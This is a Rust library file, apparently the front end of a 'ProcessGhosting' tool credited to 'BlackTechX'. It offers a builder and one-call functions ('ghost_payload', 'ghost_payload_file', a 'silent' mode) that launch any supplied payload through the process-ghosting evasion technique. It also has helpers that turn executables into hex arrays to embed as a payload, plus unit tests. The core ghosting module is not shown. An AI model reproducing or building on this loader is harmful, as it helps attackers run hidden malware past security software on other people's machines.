1mod ntapi;
5mod ghosting;
6
7pub use ghosting::{GhostingConfig, Architecture, execute_ghost_process};
8
9pub const VERSION: &str = "1.0.0";
11pub const AUTHOR: &str = "BlackTechX";
13
14pub fn init() {
16 println!("╔══════════════════════════════════════════════════╗");
17 println!("║ ProcessGhosting Library v{} ║", VERSION);
18 println!("║ Author: {} ║", AUTHOR);
19 println!("╚══════════════════════════════════════════════════╝");
20 println!();
21}
22
23#[derive(Clone)]
25pub struct GhostingBuilder {
26 payload: Vec<u8>,
27 architecture: Architecture,
28 verbose: bool,
29}
30
31impl GhostingBuilder {
32 pub fn new(payload: &[u8]) -> Self {
34 Self {
35 payload: payload.to_vec(),
36 architecture: Architecture::X64,
37 verbose: true,
38 }
39 }
40
41 pub fn from_hex_array(hex_bytes: &[u8]) -> Self {
43 Self {
44 payload: hex_bytes.to_vec(),
45 architecture: Architecture::X64,
46 verbose: true,
47 }
48 }
49
50 pub fn from_hex_string(hex_string: &str) -> Result<Self, String> {
52 let bytes = parse_hex_string(hex_string)?;
53 Ok(Self {
54 payload: bytes,
55 architecture: Architecture::X64,
56 verbose: true,
57 })
58 }
59
60 pub fn from_file(file_path: &str) -> Result<Self, String> {
62 let payload = std::fs::read(file_path)
63 .map_err(|e| format!("Failed to read file: {}", e))?;
64
65 Ok(Self {
66 payload,
67 architecture: Architecture::X64,
68 verbose: true,
69 })
70 }
71
72 pub fn architecture(mut self, arch: Architecture) -> Self {
74 self.architecture = arch;
75 self
76 }
77
78 pub fn x64(mut self) -> Self {
80 self.architecture = Architecture::X64;
81 self
82 }
83
84 pub fn x86(mut self) -> Self {
86 self.architecture = Architecture::X86;
87 self
88 }
89
90 pub fn verbose(mut self, verbose: bool) -> Self {
92 self.verbose = verbose;
93 self
94 }
95
96 pub fn with_logging(mut self) -> Self {
98 self.verbose = true;
99 self
100 }
101
102 pub fn silent(mut self) -> Self {
104 self.verbose = false;
105 self
106 }
107
108 pub fn build(self) -> GhostingConfig {
110 GhostingConfig {
111 payload: self.payload,
112 architecture: self.architecture,
113 verbose: self.verbose,
114 }
115 }
116
117 pub fn execute(self) -> Result<(), String> {
119 let config = self.build();
120 execute_ghost_process(config)
121 }
122}
123
124pub fn parse_hex_string(hex_string: &str) -> Result<Vec<u8>, String> {
135 let cleaned: String = hex_string
136 .replace("0x", "")
137 .replace("0X", "")
138 .replace("\\x", "")
139 .replace(",", "")
140 .replace(" ", "")
141 .replace("\n", "")
142 .replace("\r", "")
143 .replace("\t", "");
144
145 if cleaned.len() % 2 != 0 {
146 return Err("Invalid hex string length".to_string());
147 }
148
149 let bytes: Result<Vec<u8>, _> = (0..cleaned.len())
150 .step_by(2)
151 .map(|i| u8::from_str_radix(&cleaned[i..i + 2], 16))
152 .collect();
153
154 bytes.map_err(|_| "Failed to parse hex string".to_string())
155}
156
157pub fn exe_to_hex_string(file_path: &str) -> Result<String, String> {
160 let bytes = std::fs::read(file_path)
161 .map_err(|e| format!("Failed to read file: {}", e))?;
162
163 Ok(bytes_to_hex_string(&bytes))
164}
165
166pub fn bytes_to_hex_string(bytes: &[u8]) -> String {
168 bytes
169 .iter()
170 .map(|b| format!("0x{:02X}", b))
171 .collect::<Vec<String>>()
172 .join(", ")
173}
174
175pub fn exe_to_hex_array(file_path: &str) -> Result<String, String> {
178 let bytes = std::fs::read(file_path)
179 .map_err(|e| format!("Failed to read file: {}", e))?;
180
181 Ok(bytes_to_hex_array(&bytes))
182}
183
184pub fn bytes_to_hex_array(bytes: &[u8]) -> String {
186 let mut result = String::new();
187 result.push_str("[\n");
188
189 for (i, chunk) in bytes.chunks(16).enumerate() {
190 result.push_str(" ");
191 for (j, byte) in chunk.iter().enumerate() {
192 result.push_str(&format!("0x{:02X}", byte));
193 if i * 16 + j < bytes.len() - 1 {
194 result.push_str(", ");
195 }
196 }
197 result.push('\n');
198 }
199
200 result.push(']');
201 result
202}
203
204pub fn read_exe_bytes(file_path: &str) -> Result<Vec<u8>, String> {
206 std::fs::read(file_path)
207 .map_err(|e| format!("Failed to read file: {}", e))
208}
209
210pub fn print_exe_hex(file_path: &str) -> Result<(), String> {
212 let hex = exe_to_hex_string(file_path)?;
213 println!("// File: {}", file_path);
214 println!("// Size: {} bytes", std::fs::metadata(file_path)
215 .map_err(|e| format!("Failed to get file info: {}", e))?.len());
216 println!();
217 println!("const PAYLOAD: &[u8] = &[");
218
219 let bytes = std::fs::read(file_path)
220 .map_err(|e| format!("Failed to read file: {}", e))?;
221
222 for (i, chunk) in bytes.chunks(16).enumerate() {
223 print!(" ");
224 for (j, byte) in chunk.iter().enumerate() {
225 print!("0x{:02X}", byte);
226 if i * 16 + j < bytes.len() - 1 {
227 print!(", ");
228 }
229 }
230 println!();
231 }
232
233 println!("];");
234 Ok(())
235}
236
237pub fn ghost_payload(payload: &[u8]) -> Result<(), String> {
243 init();
244 GhostingBuilder::new(payload)
245 .x64()
246 .with_logging()
247 .execute()
248}
249
250pub fn ghost_payload_hex(hex_string: &str) -> Result<(), String> {
252 init();
253 GhostingBuilder::from_hex_string(hex_string)?
254 .x64()
255 .with_logging()
256 .execute()
257}
258
259pub fn ghost_payload_file(file_path: &str) -> Result<(), String> {
261 init();
262 GhostingBuilder::from_file(file_path)?
263 .x64()
264 .with_logging()
265 .execute()
266}
267
268pub fn ghost_payload_arch(payload: &[u8], arch: Architecture) -> Result<(), String> {
270 init();
271 GhostingBuilder::new(payload)
272 .architecture(arch)
273 .with_logging()
274 .execute()
275}
276
277#[cfg(test)]
278mod tests {
279 use super::*;
280
281 #[test]
282 fn test_hex_parsing_continuous() {
283 let result = parse_hex_string("4D5A9000");
284 assert!(result.is_ok());
285 assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
286 }
287
288 #[test]
289 fn test_hex_parsing_with_spaces() {
290 let result = parse_hex_string("4D 5A 90 00");
291 assert!(result.is_ok());
292 assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
293 }
294
295 #[test]
296 fn test_hex_parsing_c_style() {
297 let result = parse_hex_string("0x4D, 0x5A, 0x90, 0x00");
298 assert!(result.is_ok());
299 assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
300 }
301
302 #[test]
303 fn test_hex_parsing_escaped() {
304 let result = parse_hex_string("\\x4D\\x5A\\x90\\x00");
305 assert!(result.is_ok());
306 assert_eq!(result.unwrap(), vec![0x4D, 0x5A, 0x90, 0x00]);
307 }
308
309 #[test]
310 fn test_bytes_to_hex() {
311 let bytes = vec![0x4D, 0x5A, 0x90];
312 let hex = bytes_to_hex_string(&bytes);
313 assert_eq!(hex, "0x4D, 0x5A, 0x90");
314 }
315
316 #[test]
317 fn test_architecture_setting() {
318 let config = GhostingBuilder::new(&[0x4D, 0x5A])
319 .x86()
320 .build();
321 assert_eq!(config.architecture, Architecture::X86);
322
323 let config = GhostingBuilder::new(&[0x4D, 0x5A])
324 .x64()
325 .build();
326 assert_eq!(config.architecture, Architecture::X64);
327 }
328}